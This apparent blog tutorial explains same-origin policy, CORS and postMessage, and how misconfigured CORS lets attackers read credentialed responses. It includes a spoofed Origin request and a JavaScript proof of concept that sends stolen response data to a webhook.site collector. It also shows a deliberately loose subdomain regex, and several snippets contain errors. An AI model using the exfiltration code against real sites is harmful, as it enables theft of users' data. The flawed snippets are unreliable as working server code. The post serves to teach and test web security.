origin/sop/cors
Published: 2020-06-09 21:30:06

### intro
Let's talk about `cors, sop and origin` and how these security measures can lead to vulnerabilities in your application. 

### example

How are cross origin requests handled in the real world? Applications have to talk to each other to exchange information, imagine [http://example.com](http://www.target.com) needs to get some information from [http://api.example.com/v1/getUsers](http://api.target.com/v1/getUsers), when this request is made from `http://example.com` the origins are different so we have to have a way to make these requests, since usually SOP (same origin policy) would not allow it. The answer to this problem is `cors` (cross origin resource sharing) which allows for communication across origins. 

### same origin policy (SOP)

The same origin policy is a central part of browser security, it handles how resources with different origins interact with each other. An origin is said to have the same origin only if the `protocol` , `port` and `host` match, that means that [http://example.com](http://example.com) and [http://example.com/assets/css/styles.css](http://example.com/assets/css/styles.css) have the same origin since the requirements are met, however [https://api.example.com/getUsers](https://api.example.com/getUsers) does not meet the requirement and therefor requests made from `http://example.com` will fail.

Same origin policy is important since when an application makes a request to a new origin all cookies, auth. headers and information is passed down with the request - which means that if you allow the wrong origin a user might visit a malicious website which could steal their data.

**key concepts:**

- Trust
    - `<script src='https://example.com/lib.js'></script>`
        - when the user agent processes the script element the script will be fetched with the same privileges as the document
        - user agents also send information to server using URIs (forms for example)
- Origin
    - Two URI's share the same origin when the scheme, host, and port are the same
- Authority
    - Not every resource in an origin has the same authority
        - an image is passive content and has no authority, the image has no access to the objects and resources available to its origin
        - HTML documents carry the full authority of their origin, the document can access every object in its origin
        - User agents determine how much authority to grant a resource by checking its media type (ie `images` get no authority but `javascript` files get full authority of the page)
    - Policy
        - User agents isolate different origins
            - Object Access: content retrieved from one URI can access objects associated with content retrieved from another URI **if and only if** the two URIs belong to the same origin
            - Generally reading information from another origin is forbidden
            - Network resources can **opt-in** into letting other origins read their information (cors)
                - Access is granted in a per-origin basis

### cross origin resource sharing (CORS)

To be able to make requests to an application on a different origin we need to have:

- A response with the `Access-Control-Allow-Origin` header, with the origin of where the request originated from as the value
    - user agent validates that the value and origin of where the request originated match
    - user agents can discover via a preflight request wether a cross-origin resource is prepared to accept requests from a given origin
    - server-side applications are enabled to discover that an http request was deemed a cross-origin request by the user agent, through the `Origin` header

### cors attacks

When testing for these configuration mistakes is always important to note that if the `Access-Control-Allow-Credentials` does not come back in our response but the `Access-Control-Allow-Origin` still gets reflected this does **not** mean the endpoint is vulnerable to data exfiltration since you need to have those creds being passed in the request.

### server side generated ACAO (Access-Control-Allow-Origin) headers

- applications might need to communicate with other services outside their own origin - in some cases the `Origin` header from a request is used to populate the `Access-Control-Allow-Origin` in the response by the server, which would allow the cross origin request, however since the `Origin` can be manipulated from the client side - in this case we could set the `Origin` to something we control:

```jsx
// request with the origin we control
GET /v1/getApiKey HTTP/1.1
Host: http://example.com
Origin: http://evildomain.com
Cookie: session='...'
```

```jsx
// response that reflects the origin
HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://evildomain.com
Access-Control-Allow-Credentials: true

```

If we are able to get a response like the one above from a request we control, we can go ahead and create a PoC in a server we control, for this I have used [webhook](https://webhook.site) and a vps, though you could just use [trustedSec's PoC](https://github.com/trustedsec/cors-poc) since that will guarantee any private information doesn't leave your control, but the methodology of the PoCs are the same:

- Create an `XMLHttpRequest` request object(or fetch request)
- create a `listener` that fires when the page loads using  `.onload`, this function will exfiltrate the data to our server
- Set the the vulnerable URI and method using the `.open` method
- Set the `.withCredentials` method on the request object
- Send the request using `.send`

```jsx

// Create an XMLHttpRequest request object(or fetch request)
var req = new XMLHttpRequest();
// create a listener that fires when the page loads
req.onload = reqListener;
// set method and uri for the request
req.open('GET', 'http://vulnerable.com/api/getKey');
// allow credentials - this will pass cookies to our request
req.withCredentials = true;
// send our request
req.send();

// this function will execute when the page loads
function reqListener() {
  location='//webhook.site/123-12.../?data='+this.responseText);
}
```

You can monitor your [webhook.site](http://webhook.site) instance and you should see the request with the `responseText` and from the vulnerable site
{% youtube kdvvF0snir8 %}

### regex

While the above is the best case scenario for an attacker I have only found a few instances where that is the case, something that happens more often is when an application has subdomains that it needs to talk to: [api.example.com](http://api.example.com) , [auth.example.com](http://auth.example.com) and `example.com` need to be able to share resources, and that can be achieved by using `cors` - the developer sets up some code that allows `cross-origin-resource-sharing` only from subdomains in `example.com`

```jsx
// server code
...
var origin = req.header('Origin')
var regex = /https:\/\/[a-z]+.example.com/

if (regex) {
  res.header(`Allow-Access-Control: ${origin}`)
  res.header('Access-Control-Allow-Credentials: true')
}
...
```

In the above code the `origin` is checked using a regex, if the `origin` would be `[evildomain.com](http://evildomain.com)` the regex would fail and the `if-statement` block wouldn't execute, however the regex here has a side effect in that it interprets `.` as:

- The `.` metacharacter is shorthand for a character class that matches any character. It is very convenient when you want to match any char at a particular position in a string.

Which means that our regex would match `[https://evildomainexample.com](https://evildomainexample.com)` and would execute the if statement, giving us control of the `origin` and allowing us get user requests with possible sensitive information

### postMessage()

this is a bit different but it deals with the `origin` passed to `postMessage()` and it's a way to get around `cors` issues that introduces some vulnerabilities as well

- The window.postMessage() method safely enables cross-origin communication between Window objects; e.g., between a page and a pop-up that it spawned, or between a page and an iframe embedded within it.

**syntax**

`targetWindow.postMessage(message, targetOrigin, [transfer]);`

If `*` is passed as the `targetOrigin` parameter this discloses the data you send to any website that sets up a listener.

A really cool example of this is [@fransrosen](https://hackerone.com/reports/207042)'s report on `H1`'s Marketo's form which used a `postMessage()` function with no origin set - so it was possible to listen to data being sent to the `H1` form.

### thoughts

`Origin` is complex - because web applications need to communicate and share resources with other applications, this introduces ways of bypasing `same-origin-policy` like `cors` and `postMessage` which is awesome but if misconfigured it could leave your application's users vulnerable to having possibly sensitive data stolen.

### resources

[https://blog.detectify.com/2018/04/26/cors-misconfigurations-explained/](https://blog.detectify.com/2018/04/26/cors-misconfigurations-explained/)
[https://www.corben.io/tricky-CORS/](https://www.corben.io/tricky-CORS/)
[https://hackerone.com/reports/207042](https://hackerone.com/reports/207042)
[https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage)
[https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS)
[https://www.w3.org/wiki/CORS](https://www.w3.org/wiki/CORS)
[https://tools.ietf.org/html/rfc6454](https://tools.ietf.org/html/rfc6454)
[https://medium.com/bugbountywriteup/cors-one-liner-command-exploiter-88c06903cca0](https://medium.com/bugbountywriteup/cors-one-liner-command-exploiter-88c06903cca0)